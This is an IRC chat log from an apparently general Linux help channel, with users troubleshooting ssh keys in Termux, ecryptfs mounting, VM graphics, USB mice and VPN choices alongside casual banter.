13:18 < Triffid_Hunter> debkad: your google keyword for the day is "DLNA".. I just stumbled across this stuff recently myself as my gf wanted to cast videos from her phone to our linux box's monittor
13:20 < debkad> Triffid_Hunter: ok, I suggested him to use plex but not sure if it can cast his monitor to his tv
13:24 < BluesKaj> any pc with hdmi, dvi to hdmi cable , or even good ol' VGA will work to connect a pc or laptop video to a tv
13:24 < debkad> BluesKaj: sure but he ask about wifi
13:25 < debkad> BluesKaj: as like on android wifi can cast to tv
13:27 < BluesKaj> debkad, a phone to a tv , bah, that's just unwatchable
13:28 < pressure679> Man, I just found powertop, it lowers the cpu temperature to an acceptable level (better than tlp, and it cooperates nicely with cpupower).
13:28 < debkad> BluesKaj: yes I know the quality is bad but It is possible at least, the guy who ask me wonder if that device can cast his archlinux desktop to his tv
13:29 < wizzi> i have a pc with 4gb RAM and i3 5005u what should i get to the vm "kali" to learn and get CEH
13:30 < BluesKaj> well, I prefer real cable to wifi , more reliable debkad
13:32 < Triffid_Hunter> debkad: phone to tv uses DLNA fwiw, I used gmrender-resurrect to make our linux hmpc into a DLNA video receiver :)
13:34 < debkad> Triffid_Hunter: So the key is DLNA
13:35 < debkad> Thanks Triffid_Hunter and BluesKaj
13:36 < hexoroid> My canceling my cPanel hosting provider and installed dovecot pop3 and all that would it be hard to move the mail back in the inbox of the users ?
13:36 < hexoroid> since i dont use cpanel anymore i will be doing it manually
13:37 < one_roOt> ll
13:41 < epicmetal> So FONTFACE="Fixed" in /etc/default/console-setup defines the font name for the characteristic Debian/Ubuntu VT font? I read somewhere that it's actually Terminus...
13:42 < tx> I don't think it's terminus
13:42 < tx> terminus is pretty distinct / has some personality
13:42 < epicmetal> tx: I basically want my X11 terminal emulators to look the smae as my VT
13:42 < epicmetal> same*
13:42 < epicmetal> tx: Debian's console font is distinct from other distros, too
13:44 < tx> epicmetal: you could do an strace and work it out
13:44 < tx> hmm
13:46 < debkad> exit
13:47 < DaemonBSD> всем привет уроды
13:48 < BluesKaj> too bad we no redirect infobot for this guy
13:48 < BluesKaj> have
13:49 < cloudbud> how can i achieve this https://pastebin.com/NDF3Dg5A. i have a script and json file script is generating some sum n i want to replace the number in json file with sum.
13:49 < tx> epicmetal: it should be available in /etc/console-setup as a psf.gz file
13:49 < cloudbud> without using jq
13:54 < smurfendrek123> Hello, does anyone know why my windows 10 vm looks like this: https://imgur.com/a/iaxy9Km ? It's really slow too. Fedora 27 using gnome boxes
13:56 < djph> I'm gonna guess "graphics" in teh VM itself (i.e. wrong driver, missing the vbox addons, etc.)
13:56 < bartmon> smurfendrek123, do other vms work ok? you may have hardware virtualization features turned off in BIOS/UEFI
13:56 < smurfendrek123> bartmon, i think i have turned those on
13:56 < azarus> djph: gnome boxes don't utilise vbox additions
13:56 < smurfendrek123> gnome boxes told me i had to enable something in the uefi, i did, and now it doesn't say anything about it anymore
13:57 < djph> azarus: er, fairly certain that the "vbox addons" are internal to the VM, and have nothing to do with the host OS.
13:57 < djph> then again, I haven't vobx'd in ages, so they might've changed it.
13:58 < azarus> djph: this isn't vbox
13:58 < azarus> this is gnome boxes, which uses KVM
13:58 < azarus> vbox = Oracle VM VirtualBox for me
13:58 < djph> then why the fuck did he title the picture "weird virtualbox appearance"
13:58 < djph> fuckinghell...
13:59 < azarus> dunno, ask him
13:59 < azarus> but he specified gnome boxes: "Fedora 27 using gnome boxes"
13:59 < smurfendrek123> djph, sorry
13:59 < djph> azarus: and in the pic he specified vbox.  So ... hell if I know anymore :|...
13:59 < azarus> (also you can see it in the picture itself)
14:00 < smurfendrek123> it's gnome boxes, sorry djph
14:01 < searedvandal> smurfendrek123, download the spice guest tools and install in the vm: https://www.spice-space.org/download.html see if that helps
14:01 < epicmetal> tx: strace in early startup?
14:02 < tx> epicmetal: setupcon
14:02 < tx> although I just read stuff online ;)
14:02 < tx> (to find out)
14:02 < smurfendrek123> searedvandal, i'll try but i don't know if i will be able to, since it's so slow
14:02 < smurfendrek123> searedvandal, ah, and in the startup, the graphics are fine, it's only when i get into the desktop that everything becomes slow and glitched
14:03 < epicmetal> tx: /etc/console-setup/cached_Lat15-Fixed16.psf.gz
14:04 < epicmetal> tx: not sure what X11 font that translates to, though
14:05 < searedvandal> smurfendrek123, how much memory have you given the vm?
14:05 < smurfendrek123> 4.5 gb
14:05 < maryo> I don't have  netstat installed, is there any alternate command that I can fire to see all the listening ports?
14:07 < tx> epicmetal: you can convert it using psf tools
14:08 < BluesKaj> just install netstat, it's not difficult ..there's plenty of documentation to find command line examples
14:08 < epicmetal> tx: hmm ok. thanks
14:08 < BluesKaj> usage examples that is
14:09 < tx> epicmetal: it might not exist in a format x can read anywhere
14:09 < tx> it might be compiled into psf format specifically for con
14:09 < epicmetal> tx: I'll see if I can figure out the source
14:10 < bartmon> maryo, yes, `ss -l`
14:10 < searedvandal> smurfendrek123, that should be enough. the spice guest tools installs a graphics driver if I'm not mistaken, so if you're able to install it, that may improve things.
14:10 < tx> epicmetal: here https://packages.debian.org/jessie/all/console-setup-linux/filelist
14:11 < tx> ... /usr/share/consolefonts ...
14:11 < smurfendrek123> searedvandal, still waiting for edge to open :p ..
14:12 < epicmetal> tx: still leaves me with having to find an X11 compatible version
14:13 < tx> yep, you will need to convert I am afraid
14:13 < tx> these are made as psf / console font files
14:13 < tx> should be ez
14:13 < tx> :)
14:17 < epicmetal> tx: tbc, thanks
14:18 < tx> np
14:30 < adsc> anyone know how it can happen that I get an "ambiguous redirect" here sporadically: https://hastebin.com/ejasoherit.pl
14:31 < Dr_Coke> triceratux how's it going
14:31 < Dr_Coke> rindolf jim BluesKaj Psi-Jack hi
14:32 < BluesKaj> hi Dr_Coke
14:32 < rindolf> Dr_Coke: mew
14:32 < Dr_Coke> How are you people
14:33 < heeen> how do I get search domains into /etc/resolv.conf under 18.04 (systemd-resolved)
14:33 < Dr_Coke> BluesKaj have you heard of lxqt
14:34 < BluesKaj> yeah, still underf devel tho
14:35 < BluesKaj> err development though ...forgot to use real english
14:37 < Dr_Coke> oh lol
14:40 < Tazmain> HI all, how can I make an environment variable that has a '.' in like fw.env ?
14:40 < Tazmain> Need to mimimic what a colleague did in windows
14:40 < BluesKaj> heeen, search domains ? why in resolved?
14:40 < heeen> BluesKaj: etc/resolv.conf says it is managed by systemd-resolved
14:40 < heeen> so it would be overwritten
14:41 < heeen> I suppose?
14:48 < BluesKaj> heeen, there are DNS entries available in /etc/systemd/resolved.conf ...don't think entries in /etc/resolv.conf are overwritten, but experimenting can'thurt as long as you don't change the nameserver 127.0.0.53
14:48 < heeen> BluesKaj: I want to try to add .local as a search domain
14:49 < heeen> so I can use mdns names without -local
14:49 < heeen> .local
14:49 < Dr_Coke> BluesKaj linux mint 19 with Cinnamon is rocking
14:49 < Dr_Coke> GTK was updated to 3.22
14:49 < Dr_Coke> I think
14:49 < Dr_Coke> And you can really see the difference
14:50 < BluesKaj> Dr_Coke, glad you've finally found one that works for you :-)
14:51 < Dr_Coke> BluesKaj yeah couldn't wait any longer for xfce to update to gtk 3
14:54 < BluesKaj> Dr_Coke, I'm a KDE guy, xfce never had much appeal to me
14:54 < BluesKaj> nor does gnome
14:55 < Dr_Coke> Yeah
14:55 < Dr_Coke> I like Cinnamon though
14:55 < Dr_Coke> And GTK
14:55 < Dr_Coke> lxqt looks nice as well
14:56 < ackb> I have some nodejs tests failing in a CI pipeline on linux due to "pthread_create: Resource temporarily unavailable". Is there an easy way to monitor the machine and figure out which of the systems limits (ulimit, etc.) we're hitting?
14:57 < monty86> what's the best desktop environment in debian in terms of application support, performance, stability, and functioinality?
14:58 < DaemonBSD> hi all
14:58 < DaemonBSD> всем привет!!!!
14:58 < ackb> that's a highly subjective question monty86 ...
14:58 < DaemonBSD> Катя
14:59 < BluesKaj> DaemonBSD, speak English please, this is an English chat
15:00 < Dr_Coke> lol
15:00 < Dr_Coke> Hi DaemonBSD
15:02 < irwinz> anybody familiar with using termux to ssh into your server which uses rsa key
15:02 < irwinz> had it set up on my old phone--it died, now i'm trying to remember how i did it
15:03 < revel> irwinz: Sure. Generate a keypair, get the pubkey over somehow, ssh in.
15:03 < irwinz> so i have a keypair
15:03 < irwinz> priv and pub
15:03 < irwinz> and i have em handy
15:03 < irwinz> and i know they've worked previously
15:03 < revel> Get the pubkey in ~/.ssh/authorized_keys
15:03 < revel> On the server.
15:04 < irwinz> a file inside that dir, or is authorized_keys the filename
15:04 < revel> No, it's a flat file. One pubkey per line.
15:05 < irwinz> okay i already have the pub key in ~/.ssh/authorized_keys on the server
15:05 < irwinz> now where do i put the private key on my phone to ssh in with termux?
15:07 < ackb> usually ~/.ssh/id_rsa for rsa keys (default names assumed)
15:07 < revel> If you didn't change the filename while generating the key, then you shouldn't have to do anything special with it.
15:07 < irwinz> i'm an idiot-- so in my phone's root directory, .ssh/id_rsa file containing the contens of priv key file?
15:09 < revel> That's (hopefully) the home directory, not the root directory, and yes, that's where the RSA private key is by default.
15:13 < irwinz> ok
15:14 < irwinz> ugh
15:14 < irwinz> i have a feeling this isnt right
15:14 < ackb> irwinz: just don't use absolute paths. '~' or '$HOME' to reference the users home directory
15:14 < Dr_Coke> Group Therapy with above and beyond
15:14 < Dr_Coke> lol
15:14 < irwinz> starts with PuTTY-User-Key-File-2: ssh-rsa ?
15:15 < Dr_Coke> I'm listening to this podcast that's really calming me down
15:15 < azarus> irwinz: that's a PPK file
15:16 < azarus> you'd need to convert it to OpenSSH compatible format
15:16 < irwinz> hm
15:16 < TheWild> helo
15:17 < azarus> TheWild: 250 smtp.linux.heh pleasure to meet you
15:17 < irwinz> is it this file beginning with: ---- BEGIN SSH2 PUBLIC KEY ----
15:17 < irwinz> Comment: "ix-rsa-2018-02-07"
15:17 < TheWild> azarus: haha
15:17 < azarus> that's the public key
15:17 < irwinz> yeah
15:17 < irwinz> just making sure
15:17 < irwinz> oh i found it
15:17 < irwinz> okay
15:18 < irwinz> its the one line one
15:18 < irwinz> i remember now
15:18 < DaemonBSD> всем привет
15:18 < TheWild> hey, I'm doing "fuser 80/tcp" on office webserver, but it doesn't print anything (no results, no errors). Does it need root privileges?
15:18 < irwinz> where do i put this again? my phone's home/.ssh/id_rsa right?
15:18 < Dr_Coke> DaemonBSD is that Russian?
15:18 < DaemonBSD> russian)
15:18 < Dr_Coke> nice
15:19 < Dr_Coke> What did you say in Russian?
15:19 < revel> irwinz: So, wait, do you want to ssh to or from Termux? Since I don't think you can run putty in Termux.
15:19 < revel> Dr_Coke: "Hello, all"
15:19 < mawk> yes TheWild
15:19 < irwinz> now trying to run putty anywhere
15:19 < irwinz> just trying to ssh into my linux server
15:19 < irwinz> from my phone
15:19 < Dr_Coke> oh thanks revel
15:20 < DaemonBSD> Dr_Coke yes its Hello, all)))
15:21 < TheWild> :( well, then I have to kill all the OCSP responders because I don't know which one is running at specific port.
15:21 < TheWild> thanks mawk
15:21 < jirido> Is this a place where one can ask general linux questions?
15:21 < Dr_Coke> I might get going
15:21 < Dr_Coke> cyas
15:23 < mawk> yes jirido
15:23 < mawk> go on
15:23 < mawk> it's easier to ask your question and have Psi-Jack tell you it's not the right channel and having answers anyway than waiting extra time and eventually not ask
15:24 < Psi-Jack> Hey now..
15:24 < mawk> lol
15:24 < tx> You're a rockstar.
15:24 < azarus> get your game on
15:25 < tx> go play
15:25 < tx>  / get paid
15:26 < azarus> k, that's enough, don't want to risk getting banned!
15:26 < azarus> okay*
15:27 < jim> yeah? when was the last time you got banned on this channel for playing around a little?
15:29 < lostfile> well the  ops on the ubuntu channel will ban you
15:29 < jim> ok
15:29 < lostfile> i mean they are really hard on you
15:29 < lostfile> you always have to stay on topic
15:30 < glix> Is anyone here experienced with ranger customization ?
15:30 < tx> That's fine, why go to ubuntu when you can have perfectly fine general linux discussion here? :)
15:30 < lostfile> or they will give you crap for it
15:30 < tx> glix: ranger as in..?
15:30 < azarus> tx: likely the ranger file manager
15:30 < tx> Ah, sorry, nope.
15:31 < azarus> https://ranger.github.io/
15:31 < glix> Yup
15:31 < ziggylazer> TheWild, talk sec questions in security
15:31 < lostfile> tx: indeed infact i like here :3
15:31 < ziggylazer> I often do the same mistake
15:32 < jim> tx, I'm just a little unconfortable with the comparison
15:32 < glix> I wanted to implement a custom preview for movie files in ranger.
15:32 < tx> jim: sorry?
15:34 < jim> don't worry, you're ok... one thing I'm also not comfortable with is bringing other channel stuiff in here... I can't do a lot about it unfortunately
15:34 < ziggylazer> Go easy on jim, he has patience like few! Trust me I've tested it
15:34 < jim> heh
15:35 < irwinz> i got it
15:35 < irwinz> woot
15:35 < irwinz> :D
15:35 < tx> Nah jim and I are two beans in a pod.
15:36 < ziggylazer> irwinz, make sure you use keys and not just password  ;)
15:36 < Lope> How can I make this work? echo -n "foo" | mount -t ecryptfs /foo/.ecryptfs/ /foo/mnt/ -o ecryptfs,cipher=aes,ecryptfs_key_bytes=16,ecryptfs_passthrough=n,ecryptfs_enable_filename_crypto=y,no_sig_cache,passphrase_passwd_fd=0
15:37 < Lope> It's not taking the foo as the attempted password
15:37 < Lope> "Error attempting to evaluate mount options: [-22] Invalid argument"
15:38 < trobotham> expect?
15:38 < jim> Lope, what's the foo?
15:38 < Lope> Oh, lol. there's another option: passphrase_passwd
15:38 < Lope> an attempted password
15:39 < jim> Lope, ok, so are you wondering whether a password would be accepted that way?
15:39 < Lope> But this still doesn't work...
15:39 < Lope> How can I make this work? `mount -t ecryptfs /foo/.ecryptfs/ /foo/mnt/ -o ecryptfs,cipher=aes,ecryptfs_key_bytes=16,ecryptfs_passthrough=n,ecryptfs_enable_filename_crypto=y,no_sig_cache,passphrase_passwd_fd=0,passphrase_passwd="foo"`
15:39 < trobotham> Lope: man expect
15:40 < tx> if that doesn't work
15:40 < tx> passphase_passwd isn't working
15:40 < jirido> Okey thanks. How do i testrun an x configfile for syntaxerrors?
15:40 < tx> look at the args for ecryptfs and fix
15:40 < trobotham> may need to install it
15:40 < jirido> Sorry
15:40 < jim> actually I gotta leave... what's the most important is get along and do cool things
15:40 < Lope> Mount doesn't give an error anymore. but now ecryptfs is asking me crap like how many bits etc, which is actually specified.
15:40 < tx> also Lope, is 'ecryptfs' really an option you need to specify?
15:41 < tx> Like, isn't that the filesystem type you gave to -t?
15:41 < ziggylazer> Lope, take this in security and I think you might get better help
15:41 < ziggylazer> cya jim
15:42 < mawk> doesn't look like security
15:42 < tx> Love you jim have a great day mate.
15:42 < mawk> it's a đ regular command line invocation problem
15:42 < mawk> mount commands are picky and usually won't tell you what happened but you can read dmesg to see if there is an error message from the fs driver Lope
15:42 < Lope> Sorry, that's not the command I tried. I tried this: `mount -t ecryptfs /foo/.ecryptfs/ /foo/mnt/ -o ecryptfs,cipher=aes,ecryptfs_key_bytes=16,ecryptfs_passthrough=n,ecryptfs_enable_filename_crypto=y,no_sig_cache,passphrase_passwd="foo"`
15:42 < mawk> some do that
15:42 < ziggylazer> Yeah but maybe they are more familiar with the tools
15:43 < mawk> yeah indeed
15:43 < jirido> I ask again as i was talking intx's face earlier..
15:43 < Lope> okay will check dmesg
15:43 < jirido>  How do i testrun an x configfile for syntaxerrors?
15:44 < jirido> orjust with what tool
15:44 < mawk> many daemons have a flag for that jirido
15:44 < Lope> mawk, thanks, dmesg is the winner.
15:44 < Lope> mawk, it wants me to specify the sig
15:44 < mawk> nice
15:45 < jirido> ok
15:45 < mawk> check in the Xorg usage docs to see if it's there
15:46 < Lope> mawk, but inside Private.sig there are 2 lines, so I'm unsure which line to use as the sig.
15:48 < jirido> No nix but thanks
15:51 < Lope> ecryptfs home makes Private.sig which contains 2 lines, which are probably ecryptfs_fnek_sig ecryptfs_sig... but in what order?
15:53 < Psi-Jack> Well, the fact that Mutter (iOS IRC client) is FINALLY working with push notifications, is interesting and surprisingly cool.
15:59 < DLange> Lope: ecryptfs_sig is line 1, ecryptfs_fnek_sig is line two
16:03 < Lope> Thanks DLange! I figured out what was wrong with my command btw. I had `-o ecryptfs,cipher=aes` (as tx noted, is strange) should have been `-o ecryptfs_cipher=aes`
16:03 < tx> nice
16:03 < tx> that it's working
16:03 < jason85> What might be the reason that /proc/pid/maps only shows zero addresses?
16:03 < tx> glad*
16:05 < sebsebseb> hi
16:07 < Thedarkb> Is there any way to update my integrated graphics drivers?
16:07 < Thedarkb> I'm on a Core 2 Duo P8600
16:07 < Thedarkb> Running Lubuntu 18.04
16:08 < Thedarkb> I've been having issues with the Pale Moon browser and Ship Sinking Sandbox 2 and both development teams have told me to update my drivers.
16:08 < Thedarkb> But I don't know what package I'm looking for.
16:09 < sebsebseb> Thedarkb: this isn't a paricuarly helfpul ansewr, but sure I guess so, if intel offers drivers, and you meant the graphics card?   intel is open source drivers i think so mostly built into the kerenl acstaully  i guess
16:09 < Thedarkb> Yeah, I mean the integrated GPU.
16:17 < PsychoBoB> guys
16:17 < PsychoBoB> Why my keyboard and mouse wireless from microsoft dont' works fine on deepin?
16:19 < sebsebseb> PsychoBoB: since it's made by Microsoft !  not designed for Linux !  he h eh h eh ok someone had to put that :d,  but that's not quite true
16:19 < revel> Dunno, I've heard of Microsoft's HID products specifically being finnicky.
16:22 < Psi-Jack> Kinda like their OS. :p
16:23 < PsychoBoB> revel,
16:23 < PsychoBoB> It works omn ubuntu 16 =(
16:23 < smurfendrek123> searedvandal, I just reinstalled the windows 10 vm and it seems to work now, i think something just went wrong during the installation (shutting it down in an unfortunate state or something)
16:23 < Psi-Jack> PsychoBoB: What's "dont' works fine" actually?
16:23 < PsychoBoB> Psi-Jack, the button left of mouse
16:23 < searedvandal> smurfendrek123, alright. glad it's working now:)
16:23 < revel> Maybe they have some kernel modules that deepin doesn't ship or something, who knows.
16:23 < smurfendrek123> searedvandal, me too :)
16:24 < PsychoBoB> no , dont working om deepin and ubuntu 18
16:24 < PsychoBoB> =(
16:24 < Psi-Jack> No such thing as "Ubuntu 18", there's a .04 at the end of that version, specifically.
16:25 < Psi-Jack> As there will also be a 18.10 version in October, hence 10.
16:25 < peetaur2> do people use the non-lts ones?
16:25 < peetaur2> ;)
16:25 < tx> 2risky
16:25 < Psi-Jack> PsychoBoB: Whatever deepin is doing... Is doing it wrong. Maybe a sign not to use it. :)
16:26 < Psi-Jack> peetaur2: *shrugs* I don't even use Ubuntu, nor will I ever. :)
16:26 < tx> PsychoBoB: check your dmesg output
16:26 < tx> just after plugging it in
16:26 < Sitri> Know what I don't miss?  All the Ubuntu noobs using the name as the version number.  "I'm on Edgy Eddy" "Right... what version number is that?"  "Edgy Eddy"  "... I'm going to spend 5 minutes looking that up now..."
16:27 < revel> Sitri: What? You mean you don't know what version Horny Heron is off the top of your head?
16:27 < tx> Ubuntu Warty is where it's at
16:28 < peetaur2> also good they don't refer to the versions by the names of Toy Story characters
16:28 < tx> peetaur2: I like the system
16:28 < Sitri> I did when I actually used Ubuntu, several years prior.
16:28 < tx> I can't wait until they run out of characters.
16:28 < revel> peetaur2: Well, at least there's only, like, 10 versions of Debian (9 with names?)
16:28 < tx> "Debian 12 P.. uh.. Pizza Planet"
16:29 < Psi-Jack> Sitri: Hmmm.. Yeah. Wish the Debian people would get the hint about that. :)
16:30 < revel> Psi-Jack: What did you think of Fedora 17, Beefy Miracle?
16:30 < Psi-Jack> revel: It sucked.
16:30 < revel> What about Fedora 27?
16:30 < Psi-Jack> Fedora prior to F18 literally sucked. ;)
16:31 < Psi-Jack> Haven't seen 27.
16:31 < revel> What was the last one you used?
16:31 < Psi-Jack> Well, only in a VM these days. :)
16:31 < Psi-Jack> Hmmm... 25 or 26?
16:31 < revel> What do you use then?
16:31 < Psi-Jack> Solus
16:31 < ice9> what tool do you suggest to recover deleted files?
16:31 < Psi-Jack> ice9: Your nice backups.
16:32 < revel> I almost got that mixed up with Solaris.
16:32 < Psi-Jack> haha
16:32 < ice9> Psi-Jack, right but in case there is no backup?
16:32 < PsychoBoB> tx, ? how I can check it
16:32 < Psi-Jack> ice9: Then the data wasn't important enough.
16:32 < PsychoBoB> dmesg
16:32 < tx> https://twitter.com/tapbot_paul/status/1004361530018852864 lol
16:32 < peetaur2> ice9: hypothetically you mean? of course. Try testdisk and photorec.
16:32 < tx> PsychoBoB: run 'dmesg' or 'sudo dmesg' in a terminal
16:32 < PsychoBoB> moment please
16:32 < tx> please don't paste the output here, simply read the end of the output
16:33 < PsychoBoB> tx, have many message there
16:33 < ice9> is it possible to unmount /home while the system is running?
16:34 < rumpel> ice9, sure
16:34 < Psi-Jack> ice9: Of course. Just make sure all users are logged out.
16:34 < revel> Sure.
16:34 < tx> PsychoBoB: there will likely be ones related to USB
16:34 < PsychoBoB> tx, the usb have a specie of cache?
16:34 < Psi-Jack> Heh.
16:35 < PsychoBoB> Because yesterday the keyboard works fne
16:35 < PsychoBoB> fine
16:35 < PsychoBoB> mouse too
16:35 < tx> PsychoBoB: can you unplug, plug in, run dmesg
16:35 < tx> and paste output of last.. 20 or so lines https://hastebin.com/
16:35 < PsychoBoB> ok... moment please my friend
16:35 < tx> I am assuming it's USB yeah?
16:35 < tx> Not some fancy bt stuf
16:35 < PsychoBoB> yes
16:35 < tx> ok
16:35 < PsychoBoB> usb wireless
16:35 < tx> cool
16:37 < tx> I hope you're not copying line by line lol
16:38 < Limona> hi
16:38 < PsychoBoB> tx, when I plug my mouse
16:38 < PsychoBoB> the touchpad button left also dont works =(
16:38 < Limona> i need some help, i'm trying to install a vpn, that will allow windows 10 users to connect to that vpn via window's add vpn option
16:39 < Limona> openvpn is a costum protocol from what i've heard
16:39 < PsychoBoB> tx, see
16:39 < PsychoBoB> https://paste.laravel.io/e54e8a5c-46b3-4aec-91f3-3b04d54f8ca7
16:39 < Dominian> Limona: You need to use PPTP
16:39 < tx> it is disconnecting as soon as it's attached
16:39 < tx> please try another port
16:40 < Limona> Dominian can you suggest what server should i use
16:40 < Limona> well application
16:40 < Dominian> Not really, depends on what you're trying to do
16:40 < Dominian> and what hardware your authing against, your network setup etc etc etc
16:40 < Psi-Jack> Nooooo, PPTP bad! :)
16:40 < Dominian> however
16:40 < Limona> Psi-Jack why?
16:40 < Dominian> Limona: If you aren't limited to using th e'add windows vpn' option
16:40 < Limona> Dominian trying to share an internal lan disk
16:40 < PsychoBoB> tx, https://paste.laravel.io/384e94fa-8504-4e92-b6a3-1175448c5104
16:40 < Psi-Jack> Limona: Security, the lack of it.
16:40 < Dominian> Limona: you can use the openvpn client to connect to and openvpn server
16:40 < Dominian> that's what I do
16:41 < tx> that looks promising
16:41 < Limona> Dominian other coworkers don't want to install openvpn...
16:41 < Dominian> openvpn server at home, use the openvpn client on my windows surface pro to get into home
16:41 < Dominian> Limona: thent ell them to fuck off
16:41 < Dominian> :)
16:41 < Psi-Jack> Language! :)
16:41 < triceratux> !0ps Dom1nian language ;)
16:41 < Psi-Jack> lol
16:41 < BluesKaj> Limona, PIA, uses openvpn which is not a custom protocol since it also uses network-manager-openvpn aon avrious linux dsitros, and also runs other platforms like Mac and Windows
16:41 < PsychoBoB> tx ?
16:42 < BluesKaj> err on various
16:43 < PsychoBoB> tx see my mouse
16:43 < PsychoBoB> https://ibb.co/ie3Gmo
16:43 < BluesKaj> Limona, https://www.privateinternetaccess.com/pages/client-support/
16:43 < Psi-Jack> Course, there is also OpenVPN Access Server, their commercial product, which is very nice and can automate the process of client setup.
16:45 < Limona> Dominian alright, convinced them to use openvpn client
16:45 < Limona> is that the way to go?
16:45 < Limona> i mean is openvpn the best way to get/use a vpn
16:45 < Psi-Jack> OpenVPN is secure in current versions.
16:45 < Limona> what does that mean/
16:45 < Psi-Jack> It means what I said.
16:46 < Limona> i just want a good vpn, so that we can access our files
16:46 < Limona> well will i have to update it manually..
16:46 < Limona> constantly..
16:46 < PsychoBoB> tx Do you know what's strange? that the right button, the scroll, the pointers, everything works, only the left button that does not work, it instead of being the main button, is selecting the text, it is as if already clicked when connecting the USB
16:46 < Psi-Jack> Your distro already handles that for you, for the most part.
16:46 < Limona> huh?
16:46 < Psi-Jack> OpenVPN updates are very painless.
16:47 < Limona> yeah but they are manual, i'd prefer crucial security updates to be automatic
16:47 < Limona> so openvpn is the best choice to go there?
16:47 < Psi-Jack> Again, your distro handles that.
16:47 < Limona> alright
16:47 < Limona> i'll believe you
16:48 < Limona> So again the question, should i use openvpn as my vpn server/backend to access our files
16:48 < Limona> or is there a better way/method/server
16:48 < Psi-Jack> Well, what does "access our files" actually mean?
16:48 < PsychoBoB> If I reset my device id?
16:48 < Limona> we have a shared disk over lan
16:48 < Limona> and would like to access that over the internet
16:49 < PsychoBoB> When I installed the deepin, the mouse and keyboard works fine!
16:49 < Psi-Jack> Why not utilize something like Nextcloud?
16:49 < PsychoBoB> I believe that device is 0 or 1 or 2
16:49 < PsychoBoB> Now is 14 =(
16:49 < PsychoBoB> Have a way to reset the devices usb?
16:59 < PsychoBoB> tx, ??
17:01 < Limona> wait
17:01 < Limona> openvpn isn't free?
17:01 < Limona> i have to pay for licnences?
17:02 < searedvandal> no?
17:02 < dgurney> what
17:02 < Limona> Concurrent User Limit:
17:02 < Limona> Licensed for 2 concurrent users.
17:02 < Limona> 0o
17:02 < Limona> https://openvpn.net/index.php/access-server/license-key.html
17:03 < searedvandal> for the access server. https://openvpn.net/index.php/open-source/downloads.html
17:04 < Limona> ooh okay
17:04 < Limona> nvm then
17:08 < PsychoBoB> someone can help me
17:08 < PsychoBoB> i need to reset my usb devices id
17:10 < Limona> searedvandal how do i know what openvpn version do i have
17:10 < Gringonar> Hello
17:10 < Limona> whether it's access server or community
17:11 < Gringonar> maybe im dumb but i dont quit get this about histfiles https://unix.stackexchange.com/questions/111718/command-history-in-zsh#111777
17:11 < Gringonar> how can i set a histfilfil in zsh?
17:12 < Psi-Jack> A what?
17:12 < ayecee> a histfilfil
17:12 < Gringonar> basically a file in which the command line saves the history
17:12 < Psi-Jack> You mean a histfile? :)
17:13 < vindicat0r_> just type 'openvpn --version' in the terminal
17:13 < vindicat0r_> limona
17:13 < Limona> it's access server
17:13 < Gringonar> i try both set histfile n just hisfile /somefile
17:13 < Limona> that's the paying version
17:13 < Limona> i think i'll have to purge that :<
17:13 < Limona> because it's payable
17:13 < Psi-Jack> OpenVPN-AS is pretty good stuff.
17:13 < searedvandal> Limona, never used access server, so wouldn't know. in the package manager of the distro I'm using openvpn is the plain old regular openvpn
17:13 < Limona> you know what
17:14 < Limona> fuck openvpn
17:14 < Limona> i'll just grab pptd
17:14 < Psi-Jack> Language!
17:14 < ayecee> mind the language please
17:14 < Limona> and install that
17:14 < Limona> and be over with that
17:14 < vindicat0r_> haha
17:14 < Gringonar> im not sure what i dowrong
17:14 < Psi-Jack> PPTP is horribly insecure. :p
17:14 < searedvandal> Limona, what distro are you using?
17:14 < Limona> debian 9
17:14 < ayecee> Psi-Jack: it's actually not.
17:14 < ayecee> it's not _as_ secure as openvpn, but it's not horribly insecure.
17:14 < searedvandal> Limona, https://packages.debian.org/stretch/openvpn
17:15 < Limona> searedvandal well i'm not sure if i can access files via openvpn client
17:15 < Limona> bah
17:15 < searedvandal> apt install openvpn
17:15 < Limona> well i folled a linode guide
17:15 < Limona> and installed the propriatary version
17:15 < Limona> so
17:16 < Psi-Jack> Limona: Considered Nextcloud?
17:16 < Limona> i don't actually need vpn, i just need to get a disk that's on lan Psi-Jack
17:16 < Psi-Jack> And ugh.. Linode? Get off there now. LOL
17:16 < ayecee> Psi-Jack: I was actually testing that this weekend. with a packet capture, I can get the username and des-encrypted password pieces that would take about a year to crack on my hardware, and that just yields the NTLM which also has to be cracked.
17:16 < Psi-Jack> Limona: Yeah. Considered Nextcloud?
17:16 < Limona> nope
17:17 < AnrDaemon> Can somebody help with rsync troubleshooting please? https://ubuntuforums.org/showthread.php?t=2395552
17:17 < Psi-Jack> I mean, if you just "need access to files", Nextcloud provides a WebUI and WebDAV access to those with SSL security
17:18 < searedvandal> Limona, if you need a guide to follow, digital oceans tutorials are pretty decent for a guide.
17:18 < Limona> searedvandal thanks
17:18 < Limona> alright well i think openvpn actually works
17:18 < Limona> i'll try uninstalling the propriatary one and getting the plebian one
17:19 < Psi-Jack> The what? :p
17:19 < searedvandal> the access server is just fine if you don't need more than 2 users
17:19 < Psi-Jack> ayecee: Hmmm..
17:19 < searedvandal> if it works it works
17:19 < jim> back
17:19 < Limona> searedvandal i need it for about 6 people
17:19 < searedvandal> then manually doing things is the way to go
17:19 < Psi-Jack> Limona: That's only $150/year. :)
17:20 < Limona> i don't have 150$ a year, if i had it i wouldn't be using linux
17:20 < Limona> kek
17:20 < searedvandal> haha
17:20 < Psi-Jack> What's that got to do with Linux? :p
17:20 < ayecee> might have to cut back on drinking a little
17:20 < searedvandal> finally someone who admits to using linux because they don't wanna spend money
17:20 < Limona> alright, gona do it by hand
17:20 < Limona> bb
17:21 < jim> Limona, so you don't much like linux at least right now
17:21 < jim> that's what I'm hearing
17:22 < jim> the thing is linux is better for some people because of what they do
17:22 < brunobronosky> Where in the boot sequence can I check wifi networks and decide whether to start with hostapd mode or wpa mode?
17:22 < Psi-Jack> I don't use Linux because its free. That was inspirational, sure. I use Linux because it's powerful, fast, reliable, and I like the diversity is brings over all the developers doing stuff for it.
17:23 < Psi-Jack> its*
17:23 < ayecee> but _some_ people use it because it's free.
17:23 < ayecee> which is what he said.
17:23 < Psi-Jack> I mean.. Windows 10 is "free" with your computer.
17:23 < rumpel> I use it because I'm very lazy.
17:23 < Psi-Jack> Heck, even a "free" upgrade. :)
17:24 < ayecee> that part was a nice touch
17:24 < jim> brunobronosky, with some systems for booting, there's a dependency thing going on, where things don't start until the other things they need are running
17:24 < ayecee> keeps XP's long shadow from happening again.
17:24 < jim> so for example you can wait till the network comes up to do something
17:25 < brunobronosky> thanks, jim. This is Raspbian, a Debian variant. It uses systemd.
17:25 < jim> yeah, I think systemd does have dependencies between services
